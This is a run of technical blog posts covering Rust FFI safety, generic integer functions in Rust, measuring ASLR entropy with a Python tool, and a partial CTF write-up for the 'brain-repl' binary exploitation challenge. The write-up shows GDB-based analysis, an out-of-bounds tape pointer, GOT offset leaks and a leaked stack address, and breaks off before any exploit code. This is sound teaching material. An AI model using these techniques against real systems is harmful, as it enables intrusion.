prevents the types of bugs that the Valgrind plugins catch. But, unsafe Rust code and C code can have these types of bugs. Hence, tools that are used to debug C code are useful for debugging unsafe Rust code.</li> You must be careful with not only the internal implementation, but the public interface to Rust FFI bindings. The public interfaces (including lifetimes) tells the Rust type system how long different items may live.</li> </ol> Thanks to Gulshan Singh</a> for reviewing this post. Update 2021-10-17: Updated links to recent Rust documentation Comments on Reddit</a>

Generic numeric functions in safe, stable Rust with the num crate

2017-04-01T00:00:00+00:00

Note: This post assumes some familiarity with Rust, in particular traits</a>.

Introduction 🔗</a></h2>
It is useful to be able to write code that is generic over multiple types, such as integer types.
The Rust standard library originally had the unstable (deprecated since release 1.11.0) traits Zero</a> and One</a> that could partially help, but these required the nightly compiler. Since then, the `num</code> crate</a> has moved out of the standard library.`
`In this post, I used stable Rust version 1.15.1. The code examples will probably work with earlier versions as well.`
`All example code is available on` `GitHub</a>.`

What do we need?🔗</a></h2> In order to be able to write a generic function for various number types, we need a trait that guarantees several things, including: Addition</li> Multiplication</li> Equality testing</li> </ul> The num</code> crate</a> has the useful PrimInt trait</a> which inherits various traits. Factorial example🔗</a></h2> The factorial</a> function is defined to be the product of integers from 1</code> to n</code> (inclusive). The special case of 0! = 1</code>. For example, 4! = 4 * 3 * 2 * 1 = 24</code>. Factorial is defined only for non-negative integers. Concrete function🔗</a></h2> Let's start with an non-generic factorial function: /// Find the factorial of n fn factorial(n: u32) -> u32 { (1..n + 1).product() } </code></pre> This function only supports the concrete u32</code> type. Generic attempt 1🔗</a></h2> We make the n</code> parameter have the generic type T</code> with the trait bound</a> requiring the PrimInt</code> trait</a> and Unsigned</code> trait</a>: extern crate num; use num::{PrimInt, Unsigned}; /// Find the factorial of n fn factorial<T>(n: T) -> T where T: PrimInt + Unsigned { (1..n + 1).product() } </code></pre> We get the following error: error[E0308]: mismatched types --> src/main.rs:9:13 | 9 | (1..n + 1).product() | ^ expected type parameter, found integral variable | = note: expected type `T` = note: found type `{integer}` error[E0308]: mismatched types --> src/main.rs:9:9 | 9 | (1..n + 1).product() | ^^^^^ expected integral variable, found type parameter | = note: expected type `{integer}` = note: found type `T` ... </code></pre> Generic attempt 2🔗</a></h2> It seems like we cannot use the 1</code> literal. Luckily, the PrimInt</code> trait inherits from the One</code> trait (through Num</code>), which requires the one()</code></a> method. extern crate num; use num::{PrimInt, Unsigned}; /// Find the factorial of n fn factorial<T>(n: T) -> T where T: PrimInt + Unsigned { (T::one()..n + T::one()).product() } </code></pre> However, we still get the error related to the required traits (like Step</code>) being implemented. We could state in a where</code> clause that the Step</code> trait</a> is required, but as of writing, Step</code> is not stable</a>. error: no method named `product` found for type `std::ops::Range<T>` in the current scope --> src/main.rs:9:30 | 9 | (T::one()..n + T::one()).product() | ^^^^^^^ | = note: the method `product` exists but the following trait bounds were not satisfied: `T : std::iter::Step`, `&'a T : std::ops::Add`, `std::ops::Range<T> : std::iter::Iterator` </code></pre> Generic attempt 3🔗</a></h2> We can avoid the "..</code>" range syntax</a> by using and use num</code>'s range function</a>. extern crate num; use std::iter::Product; use num::{PrimInt, Unsigned}; /// Find the factorial of n fn factorial<T>(n: T) -> T where T: PrimInt + Unsigned { num::range(T::one(), n + T::one()).product() } </code></pre> The PrimInt</code> trait</a> still does not guarantee the existence of the Product</code> trait</a>. error[E0277]: the trait bound `T: std::iter::Product` is not satisfied --> src/main.rs:10:40 | 10 | num::range(T::one(), n + T::one()).product() | ^^^^^^^ the trait `std::iter::Product` is not implemented for `T` | = help: consider adding a `where T: std::iter::Product` bound </code></pre> Final result🔗</a></h2> We can import Product</code> add add it to the where</code> clause. Now we have a factorial function that works over arbitrary unsigned integer type! extern crate num; use std::iter::Product; use num::{PrimInt, Unsigned}; /// Find the factorial of n fn factorial<T>(n: T) -> T where T: PrimInt + Unsigned + Product { num::range(T::one(), n + T::one()).product() } </code></pre> Using the generic function🔗</a></h2> Now we can call our factorial function with different unsigned types. fn main() { println!("u8: 3! = {}", factorial(3_u8)); println!("u16: 3! = {}", factorial(3_u16)); println!("u32: 3! = {}", factorial(3_u32)); println!("u64: 3! = {}", factorial(3_u64)); } </code></pre> Analyzing generated code🔗</a></h2> Rust monomorphizes</a> generic functions, which means a new function is created for each type. This means rustc</code> can optimize each instantiated function independently. Below we can see the symbols for the four factorial functions (for each type) and the main function. $ nm target/release/factorial-generic-analysis | grep factorial --color=always | sort 0000000000005e90 t _ZN26factorial_generic_analysis9factorial17h771813924a71f57dE 0000000000005ed0 t _ZN26factorial_generic_analysis9factorial17h9049e4d7daf7ac87E 0000000000005f80 t _ZN26factorial_generic_analysis9factorial17h92280da431f06ddaE 00000000000062b0 t _ZN26factorial_generic_analysis9factorial17had561ff9f2a266a5E 00000000000062f0 t _ZN26factorial_generic_analysis4main17h5d9c70811fce980bE </code></pre> Below, we can see factorial::<u16>()</code>: $ objdump -d target/release/factorial-generic-analysis ... 0000000000005e90 <_ZN26factorial_generic_analysis9factorial17h771813924a71f57dE>: 5e90: ff c7 inc %edi 5e92: 66 b8 01 00 mov $0x1,%ax 5e96: 0f b7 cf movzwl %di,%ecx 5e99: 83 f9 02 cmp $0x2,%ecx 5e9c: 72 28 jb 5ec6 <_ZN26factorial_generic_analysis9factorial17h771813924a71f57dE+0x36> 5e9e: 66 b9 02 00 mov $0x2,%cx 5ea2: 66 ba 01 00 mov $0x1,%dx 5ea6: 66 b8 01 00 mov $0x1,%ax 5eaa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) 5eb0: 0f af c2 imul %edx,%eax 5eb3: 66 39 f9 cmp %di,%cx 5eb6: 89 ce mov %ecx,%esi 5eb8: 83 d6 00 adc $0x0,%esi 5ebb: 66 39 f9 cmp %di,%cx 5ebe: 66 89 ca mov %cx,%dx 5ec1: 66 89 f1 mov %si,%cx 5ec4: 72 ea jb 5eb0 <_ZN26factorial_generic_analysis9factorial17h771813924a71f57dE+0x20> 5ec6: c3 retq 5ec7: 66 0f 1f 84 00 00 00 nopw 0x0(%rax,%rax,1) 5ece: 00 00 ... </code></pre> Conclusion🔗</a></h2> With the num</code> crate, we can write stable, safe Rust code that is generic over various integer types. Thanks to Gulshan Singh</a> for reviewing this post. Comments on Reddit</a>

Fuzzybit

2016-06-11T00:00:00+00:00

I previously released a Python module, fuzzybit</a>, that can be used to inspect the bit-level entropy of an observed history of values.

I am now open-sourcing some example code I wrote for examining the section load address entropy. The example code can be found in the examples/vmmap_entropy</a> directory of the fuzzybit source.

The example code has the following files:

calc_vmmap_entropy.py</code>: Python script that runs a script a given number of iterations to examine entropy</li>

entropy-test.gdb</code>: GDB commands that will cause a program to break, print section mappings, and exit (requires PEDA</a>)</li>

get_vmmap_values.sh</code>: Runs given binary under GDB and prints memory mappings</li>
</ul>
Running the bash script prints out memory mappings:</p>
$ ./get_vmmap_values.sh /bin/ls
</span>0x00400000         0x0041a000         r-xp  /bin/ls
</span>0x00619000         0x0061a000         r--p  /bin/ls
</span>0x0061a000         0x0061b000         rw-p  /bin/ls
</span>0x0061b000         0x0061c000         rw-p  mapped
</span>0x02074000         0x02095000         rw-p  [heap]
</span>0x00007f7e0065d000 0x00007f7e00661000 r-xp  /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>0x00007f7e00661000 0x00007f7e00860000 ---p  /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>0x00007f7e00860000 0x00007f7e00861000 r--p  /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>0x00007f7e00861000 0x00007f7e00862000 rw-p  /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>0x00007f7e00862000 0x00007f7e00865000 r-xp  /lib/x86_64-linux-gnu/libdl-2.19.so
</span>0x00007f7e00865000 0x00007f7e00a64000 ---p  /lib/x86_64-linux-gnu/libdl-2.19.so
</span>0x00007f7e00a64000 0x00007f7e00a65000 r--p  /lib/x86_64-linux-gnu/libdl-2.19.so
</span>0x00007f7e00a65000 0x00007f7e00a66000 rw-p  /lib/x86_64-linux-gnu/libdl-2.19.so
</span>0x00007f7e00a66000 0x00007f7e00aa3000 r-xp  /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>0x00007f7e00aa3000 0x00007f7e00ca2000 ---p  /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>0x00007f7e00ca2000 0x00007f7e00ca3000 r--p  /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>0x00007f7e00ca3000 0x00007f7e00ca4000 rw-p  /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>0x00007f7e00ca4000 0x00007f7e00e5e000 r-xp  /lib/x86_64-linux-gnu/libc-2.19.so
</span>0x00007f7e00e5e000 0x00007f7e0105e000 ---p  /lib/x86_64-linux-gnu/libc-2.19.so
</span>0x00007f7e0105e000 0x00007f7e01062000 r--p  /lib/x86_64-linux-gnu/libc-2.19.so
</span>0x00007f7e01062000 0x00007f7e01064000 rw-p  /lib/x86_64-linux-gnu/libc-2.19.so
</span>0x00007f7e01064000 0x00007f7e01069000 rw-p  mapped
</span>0x00007f7e01069000 0x00007f7e01070000 r-xp  /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>0x00007f7e01070000 0x00007f7e0126f000 ---p  /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>0x00007f7e0126f000 0x00007f7e01270000 r--p  /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>0x00007f7e01270000 0x00007f7e01271000 rw-p  /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>0x00007f7e01271000 0x00007f7e01291000 r-xp  /lib/x86_64-linux-gnu/libselinux.so.1
</span>0x00007f7e01291000 0x00007f7e01490000 ---p  /lib/x86_64-linux-gnu/libselinux.so.1
</span>0x00007f7e01490000 0x00007f7e01491000 r--p  /lib/x86_64-linux-gnu/libselinux.so.1
</span>0x00007f7e01491000 0x00007f7e01492000 rw-p  /lib/x86_64-linux-gnu/libselinux.so.1
</span>0x00007f7e01492000 0x00007f7e01494000 rw-p  mapped
</span>0x00007f7e01494000 0x00007f7e014b7000 r-xp  /lib/x86_64-linux-gnu/ld-2.19.so
</span>0x00007f7e0167e000 0x00007f7e01683000 rw-p  mapped
</span>0x00007f7e016b4000 0x00007f7e016b6000 rw-p  mapped
</span>0x00007f7e016b6000 0x00007f7e016b7000 r--p  /lib/x86_64-linux-gnu/ld-2.19.so
</span>0x00007f7e016b7000 0x00007f7e016b8000 rw-p  /lib/x86_64-linux-gnu/ld-2.19.so
</span>0x00007f7e016b8000 0x00007f7e016b9000 rw-p  mapped
</span>0x00007ffcf33ed000 0x00007ffcf340e000 rw-p  [stack]
</span>0x00007ffcf3507000 0x00007ffcf3509000 r-xp  [vdso]
</span>0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]
</span></code></pre>
The Python script takes in the number of iterations and a command that prints the mappings in the format shown above.
The script prints the entropy of the start and end addresses. All of the bits of the addresses are shown (most significant bits first). The entropy (sum of unknown bits) is shown in the line underneath.
For each bit position, the values 0</code>/1</code> are concrete (this bit was always observed to have this value) and *</code> means that both 0</code> and 1</code> values have been observed.</p>
Here's an example of the entropy of /bin/ls</code> on Ubuntu 14.04 amd64:</p>
$ ./calc_vmmap_entropy.py -i 10 -b 64 ./get_vmmap_values.sh /bin/ls
</span>0000000000000000000000000000000000000000010000000000000000000000 -> 0000000000000000000000000000000000000000010000011010000000000000  r-xp /bin/ls
</span>    entropy: 0, 0 bits
</span>0000000000000000000000000000000000000000011000011001000000000000 -> 0000000000000000000000000000000000000000011000011010000000000000  r--p /bin/ls
</span>    entropy: 0, 0 bits
</span>0000000000000000000000000000000000000000011000011010000000000000 -> 0000000000000000000000000000000000000000011000011011000000000000  rw-p /bin/ls
</span>    entropy: 0, 0 bits
</span>0000000000000000000000000000000000000000011000011011000000000000 -> 0000000000000000000000000000000000000000011000011100000000000000  rw-p mapped
</span>    entropy: 0, 0 bits
</span>00000000000000000000000000000000000000**************000000000000 -> 00000000000000000000000000000000000000**************000000000000  rw-p [heap]
</span>    entropy: 14, 14 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  ---p /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/libattr.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/libdl-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  ---p /lib/x86_64-linux-gnu/libdl-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/libdl-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/libdl-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  ---p /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/libpcre.so.3.13.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/libc-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  ---p /lib/x86_64-linux-gnu/libc-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/libc-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/libc-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p mapped
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  ---p /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/libacl.so.1.1.0
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/libselinux.so.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  ---p /lib/x86_64-linux-gnu/libselinux.so.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/libselinux.so.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/libselinux.so.1
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p mapped
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r-xp /lib/x86_64-linux-gnu/ld-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p mapped
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p mapped
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  r--p /lib/x86_64-linux-gnu/ld-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p /lib/x86_64-linux-gnu/ld-2.19.so
</span>    entropy: 28, 28 bits
</span>000000000000000001111111****************************000000000000 -> 000000000000000001111111****************************000000000000  rw-p mapped
</span>    entropy: 28, 28 bits
</span>000000000000000001111111111111**********************000000000000 -> 000000000000000001111111111111**********************000000000000  rw-p [stack]
</span>    entropy: 22, 22 bits
</span>000000000000000001111111111111*************1********000000000000 -> 000000000000000001111111111111*************1********000000000000  r-xp [vdso]
</span>    entropy: 21, 21 bits
</span>1111111111111111111111111111111111111111011000000000000000000000 -> 1111111111111111111111111111111111111111011000000001000000000000  r-xp [vsyscall]
</span>    entropy: 0, 0 bits
</span></code></pre>
Notice how the locations of sections from /bin/ls</code> and [vsyscall]</code> are not randomized at all. Also, at best, the other sections only have 28 bits of entropy, but the heap only has 14 bits of entropy.</p>

CTF Writeup: Brain Repl

2016-04-28T00:00:00+00:00

This is a writeup/walkthrough for a binary exploitation challenge I wrote for a CTF competition at the University of Michigan that was hosted by Facebook</a>.

This article assumes that you are familiar with GDB</a> and basic binary exploitation techniques such as return to libc attacks</a>.

You can download the problem and solution from GitHub</a>.

Note: When this blog was originally written, pwntools was the preferred fork of pwntools, but has since been merged into upstream pwntools. The steps should be modified to use pwntools</a> instead of pwntools.

Setup 🔗</a></h2>

Download the contents of brain-repl GitHub repo</a></li>
Install the Python Exploit Development Assistance for GDB (PEDA)</a></li>
Install pwntools</a>, a CTF/exploit development framework</li> </ul>
Analysis 🔗</a></h2>
The repo contains the following files:

`brain-repl-ctf-problem/</code>: folder with distributed challenge`

`brain-repl</code>: binary to exploit</li>`
`brain-repl.c</code>: source code for binary</li>`
`Makefile</code>: Makefile that was used to build brain-repl</code></li>`
`run_brain_repl.sh</code>: script to run brain-repl as a server process</li>`
`flag.txt</code>: sample flag that we want to read</li> </ul> </li>`
`debug_brain_repl.sh</code>: script to run binary as server process w/ or w/o GDB</li>`
`gdb_cmds.gdb</code>: GDB commands that are run by debug_brain_repl.sh</code> at startup</li>`
`solve_brain_repl.py</code>: my solution script</li> </ul>`
The `brain-repl</code> binary is meant to be run with socat so that it listens on port 2600. We can see from the Makefile that brain-repl</code> is compiled with the security flags -fstack-protector -fPIE -fPIC -pie -Wl,-pie</code>, which enables` `stack canaries</a> and position-independent execution</a> (thus enabling ASLR</a>). We do not want to accidentally overwrite the binary, so we should either rename or delete the Makefile</code>:`
$ mv Makefile _Makefile </code></pre> We can now get to analyzing the binary. The first thing I do when I get a binary is run file</a> and ldd</a>: $ file brain-repl brain-repl: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94d00b325686bbd4d5ba727a01776e3a6e874aba, not stripped $ ldd brain-repl linux-gate.so.1 => (0xf7722000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf753e000) /lib/ld-linux.so.2 (0xf7723000) </code></pre> We can see that the binary is a 32-bit x86 Linux binary which is dynamically linked and not stripped. Because we are "pretending" as if we are accessing the binary remotely, we are assuming we do not have access to the libc.so</code> library that is being used on the hosting server. To get more information on the binary, we can run readelf</a> to get information on the relocation sections: $ readelf -r brain-repl Relocation section '.rel.dyn' at offset 0x444 contains 9 entries: Offset Info Type Sym.Value Sym. Name 00001ef4 00000008 R_386_RELATIVE 00001ef8 00000008 R_386_RELATIVE 00001ff4 00000008 R_386_RELATIVE 00002030 00000008 R_386_RELATIVE 00001fe8 00000206 R_386_GLOB_DAT 00000000 _ITM_deregisterTMClone 00001fec 00000306 R_386_GLOB_DAT 00000000 __cxa_finalize 00001ff0 00000406 R_386_GLOB_DAT 00000000 __gmon_start__ 00001ff8 00000906 R_386_GLOB_DAT 00000000 _Jv_RegisterClasses 00001ffc 00000b06 R_386_GLOB_DAT 00000000 _ITM_registerTMCloneTa Relocation section '.rel.plt' at offset 0x48c contains 8 entries: Offset Info Type Sym.Value Sym. Name 0000200c 00000107 R_386_JUMP_SLOT 00000000 read 00002010 00000307 R_386_JUMP_SLOT 00000000 __cxa_finalize 00002014 00000407 R_386_JUMP_SLOT 00000000 __gmon_start__ 00002018 00000507 R_386_JUMP_SLOT 00000000 exit 0000201c 00000607 R_386_JUMP_SLOT 00000000 open 00002020 00000707 R_386_JUMP_SLOT 00000000 __libc_start_main 00002024 00000807 R_386_JUMP_SLOT 00000000 write 00002028 00000a07 R_386_JUMP_SLOT 00000000 __dprintf_chk </code></pre> We can see that the program calls read, open, and write, among other functions. Source code🔗</a></h3> The file brain-repl.c</code> has the source of the challenge. At the top of the program, we can see that there are global variables tape</code>, tape_ptr</code>, and cmd</code>. The program opens /dev/urandom</code> to write random bytes into the tape buffer, which is 100 bytes wide. The main()</code> function calls run_interpreter()</code>, which reads in commands in an infinite loop. The commands are handled in handle_cmd()</code>. The following commands are available: ></code>/<</code>: increment/decrement tape_ptr</li> W</code>: write 4 bytes to tape_ptr</li> R</code>: read 4 bytes from tape_ptr</li> </ul> Running the binary🔗</a></h2> Now it's time to run the binary as a socket server. Let's use the debug_brain_repl.sh</code> that you already downloaded. In one terminal, run the brain-repl</code> binary: $ ./debug_brain_repl.sh r brain-repl-ctf-problem/brain-repl </code></pre> In another terminal, connect to the server process with netcat</a>: $ nc localhost 2600 Welcome to the interpeter > R ee277b74 > W AAAA > Q 41414141 > Invalid command! bye </code></pre> We read in 4 random bytes, wrote for A's into the buffer, and read back the result. Notice that the W</code> command takes in the actual bytes, not the hex representation. We see four instances of 41 because the hexadecimal representation of an ASCII 'A' is 0x41. Running the binary in GDB🔗</a></h2> To get useful run-time information, we can run the program in GDB. We could just run gdb ./brain-repl</code>, but then the binary would want to talk over stdin/stdout. I prefer to debug the binary as it communicates over a socket to make it easier to test our exploit script (which will be communicating over sockets). Also, it's convenient to have a separate terminal with netcat that communicates with the binary. The debug_brain_repl.sh</code> script makes it easy to debug brain-repl</code> in GDB after it is spawned by socat. The gdb_cmds.gdb</code> file has commands that are initially run by GDB. We are running the socat binary under GDB, which forks</a> a child process which in turn calls an exec</a> function to replace its process context with brain-repl</code>. The exec catchpoint causes GDB to pause the child brain-repl</code> process. Once we hit the catchpoint in the brain-repl</code> child process, we can set our breakpoints (such as main) and continue executing. set disable-randomization off catch exec r # Hit exec catchpoint # Set breakpoints hbreak main # Continue executing (until we hit a breakpoint) c </code></pre> In one terminal, run GDB with: $ ./debug_brain_repl.sh d brain-repl-ctf-problem/brain-repl </code></pre> GDB will be waiting for brain-repl</code> to spawn (which happens after a connection is made). In another terminal, connect to the debugged server process with: $ nc localhost 2600 </code></pre> In your GDB terminal, you should see that a breakpoint in main is hit. From here, you can examine memory, registers, etc. easily. Finding the vulnerability🔗</a></h2> We can see that there is no bounds checking when modifying tape_ptr</code> and we can read/write arbitrary bytes to the tape pointer. This should allow us to do the simple attack where we overwrite the return address on the stack! However, there is a problem with this simple approach. The variables tape</code> and tape_ptr</code> are global variables, so instead of residing on the stack, they reside in a data section. Also, ASLR is enabled, so we cannot assume we know the address of stack variables. At this stage, we know we control tape</code> and tape_ptr</code>. Leaking GOT entries🔗</a></h2> ASLR is enabled, so we do not know the absolute position of memory segments. But, we do know relative offsets within segments. Let's print out tape</code> and tape_ptr</code> after tape is filled with random bytes. We can find the address of the call run_interpreter</code> instruction by running pdisas</code> to get a colored disassembly of the current function. gdb-peda$ pdisas Dump of assembler code for function main: 0x56555580 <+0>: lea ecx,[esp+0x4] 0x56555584 <+4>: and esp,0xfffffff0 0x56555587 <+7>: push DWORD PTR [ecx-0x4] 0x5655558a <+10>: push ebp 0x5655558b <+11>: mov ebp,esp 0x5655558d <+13>: push esi 0x5655558e <+14>: push ebx => 0x5655558f <+15>: call 0x56555640 <__x86.get_pc_thunk.bx> 0x56555594 <+20>: add ebx,0x1a6c 0x5655559a <+26>: push ecx 0x5655559b <+27>: sub esp,0x14 0x5655559e <+30>: push 0x0 0x565555a0 <+32>: lea eax,[ebx-0x1599] 0x565555a6 <+38>: push eax 0x565555a7 <+39>: call 0x56555540 <open@plt> 0x565555ac <+44>: add esp,0x10 0x565555af <+47>: cmp eax,0xffffffff 0x565555b2 <+50>: jne 0x565555cf <main+79> 0x565555b4 <+52>: push ecx 0x565555b5 <+53>: push 0x25 0x565555b7 <+55>: lea eax,[ebx-0x158c] 0x565555bd <+61>: push eax 0x565555be <+62>: push 0x1 0x565555c0 <+64>: call 0x56555560 <write@plt> 0x565555c5 <+69>: add esp,0x10 0x565555c8 <+72>: mov eax,0x1 0x565555cd <+77>: jmp 0x565555f6 <main+118> 0x565555cf <+79>: lea esi,[ebx+0x40] 0x565555d5 <+85>: push edx 0x565555d6 <+86>: push 0x64 0x565555d8 <+88>: push esi 0x565555d9 <+89>: push eax 0x565555da <+90>: call 0x56555500 <read@plt> 0x565555df <+95>: add esp,0x10 0x565555e2 <+98>: cmp eax,0x64 0x565555e5 <+101>: jne 0x565555b4 <main+52> 0x565555e7 <+103>: lea eax,[ebx+0x38] 0x565555ed <+109>: mov DWORD PTR [eax],esi 0x565555ef <+111>: call 0x565558a9 <run_interpreter> 0x565555f4 <+116>: xor eax,eax 0x565555f6 <+118>: lea esp,[ebp-0xc] 0x565555f9 <+121>: pop ecx 0x565555fa <+122>: pop ebx 0x565555fb <+123>: pop esi 0x565555fc <+124>: pop ebp 0x565555fd <+125>: lea esp,[ecx-0x4] 0x56555600 <+128>: ret End of assembler dump. </code></pre> Now we can add a breakpoint in gdb_cmds.gdb</code> right before the call to run_interpreter()</code>. I prefer hbreak over break</a> to set hardware breakpoints because they do not touch the memory. When a soft breakpoint is set, the memory is overwritten with an int3 instruction</a>, which can cause problems. To set a breakpoint on an address, we need to add a </code> before the address. To set a breakpoint relative to a symbol, we can use (my_symbol_name + 10)</code>: ... hbreak main hbreak (main + 111) ... </code></pre> Now when we re-run the debug script and hit our second breakpoint, we can print the contents of tape_ptr</code> and tape</code>. Observe that we must use a &</code> so that GDB treats the variables as pointers: gdb-peda$ x/wx &tape_ptr 0x56557038 <tape_ptr>: 0x56557040 gdb-peda$ x/20wx &tape 0x56557040 <tape>: 0x8c7915fb 0x7dabf20b 0xfcc0d280 0x0dddb271 0x56557050 <tape+16>: 0xbe393117 0xb02f5f74 0x3f01c9d1 0xda5e0096 0x56557060 <tape+32>: 0x6d0b049d 0x1ef4f1f0 0xb0a3a7db 0x8d827a16 0x56557070 <tape+48>: 0x0e4ec52a 0x123e99bb 0xfcaf9b75 0x0e796f9f 0x56557080 <tape+64>: 0x38443f8a 0xc9d16514 0x9b57df5a 0x5e9d9d0a </code></pre> We can access memory that is close to tape</code>. Because our binary is dynamically linked, we know it has a global offset table (GOT)</a>. We can find the relative offset to GOT entries. Let's use pwntools to determine the offset between GOT entries and tape</code>: >>> from pwn import >>> e = ELF('brain-repl') [] 'brain-repl-ctf-problem/brain-repl' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled >>> e.got['open'] - e.sym['tape'] -36 </code></pre> We can check this with GDB. We cast the tape address to void </code> to avoid it being treated as an int </code> (because of C pointer arithmetic</a>): gdb-peda$ x/wx ((void ) &tape) - 36 0x5655701c <open@got.plt>: 0xf7ed5740 </code></pre> We could overwrite the GOT entries, but then we would only get a single function call. Overwriting the GOT entries alone is not enough to get an attack such as ROP off the ground. To get ROP working, we need to control the stack (or at least a buffer where we get esp to point). Also, we are pretending we do not have access to the libc.so</code> file being used, so we do not know the relative positions of symbols in libc (which would be needed to calculate the absolute address of symbols). Even if we knew the absolute address of functions such as execve()</code> or system()</code>, we do not yet control the stack (which we need to set the correct arguments to these functions). Controlling the Stack🔗</a></h2> At this point, we find that controlling the stack would be useful. But how? If only we could leak the address of a stack variable... // ... char cmd; // ... void run_interpreter() { uint8_t c; p_str("Welcome to the interpeter\n"); while (1) { // ... // LOOK HERE cmd = &c; // ... } p_str("bye!\n"); } </code></pre> We can see that the address of a stack variable is leaked in a global variable! Let's verify this happens in GDB. We can determine the best place by dynamically stepping through with the ni</code>/si</code> instructions or by statically looking at the output of pdisas run_interpreter</code>. I am choosing to place the breakpoing at run_interpreter+107</code> (right after the write to cmd</code>). Add the following command to the GDB command file: hbreak (run_interpreter + 107) </code></pre> Now, we can verify that cmd does leak a stack address using the x</code> and vmmap</code> commands: gdb-peda$ x/wx &cmd 0x5655703c <cmd>: 0xffffd37f gdb-peda$ vmmap Start End Perm Name 0x56555000 0x56556000 r-xp /brain-repl-ctf-problem/brain-repl 0x56556000 0x56557000 r--p /brain-repl-ctf-problem/brain-repl 0x56557000 0x56558000 rw-p /brain-repl-ctf-problem/brain-repl 0xf7dfa000 0xf7dfb000 rw-p mapped 0xf7dfb000 0xf7fa3000 r-xp /lib/i386-linux-gnu/libc-2.19.so 